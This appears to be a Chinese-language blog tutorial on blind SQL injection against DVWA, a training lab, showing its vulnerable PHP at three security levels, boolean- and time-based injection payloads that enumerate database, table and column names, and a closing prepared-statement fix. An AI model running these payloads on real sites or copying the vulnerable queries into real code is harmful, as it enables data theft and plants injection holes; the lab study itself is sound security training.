DVWA SQL盲注漏洞攻擊與防護

無安全防護

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

在無安全防護下, id 沒有做任何檢查, 因此具有SQL漏洞, blind SQL 注入主要靠反傳結果yes , no 來判斷, 因此我們透過下列方式觀察反查結果的狀況

1’ and 1=2 #

1’ and 1=1 #

1’ and length(database())=3 #

1’ and length(database())=4 #

利用二分法猜测数据库的名称

1’ and ascii(substr(databse(),1,1))>97 

1’ and ascii(substr(databse(),1,1))<101

用类似方式查询数据表

全部有多少数据表?
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 

数据表的長度?
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

数据表名称第一个字母为何?

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #

users表有多少字断?

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #

users表第一个字段名称长度为何


1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在

利用时间的方式进行blind SQL injection

例如: 数据库名称长度为何?

1’ and if(length(database())=4,sleep(5),1) #

数据库第一个字母?

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)#

数据库中全部有多少表?

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#

第一个表明的长度为何?


1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #

users表中有几个字段


1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)#

users表格第一个字段长度为何?


1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) #

中级安全

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    //mysql_close(); 
} 

?> 

攻击测试方式

数据库名的长度为4个字符
1 and length(database())=4 #
1 and if(length(database())=4,sleep(5),1) #

数据中的第一个表名长度为9个字符
1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #

users表有8个字段
1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #

高级防护

<?php 

if( isset( $_COOKIE[ 'id' ] ) ) { 
    // Get input 
    $id = $_COOKIE[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Might sleep a random amount 
        if( rand( 0, 5 ) == 3 ) { 
            sleep( rand( 2, 4 ) ); 
        } 

        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

高级防护中加入随机等待时间 sleeprand( 2, 4 ) ); 打乱采用sleep的blind SQL注入方式, 尽管如此, 我们还是可以利用基于布尔的盲注

数据库名的长度为4个字符
1’ and length(database())=4 #

数据中的第一个表名长度为9个字符
1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #

uers表有8个字段
1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #

0×7573657273 为users的16进制, 可以利用这个网站http://yehg.net/encoding/?

完整的防护方式

对于SQL Injection最完整的防护方式还是使用 prepare statement !

 $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 

Leave a Reply

Your email address will not be published. Required fields are marked *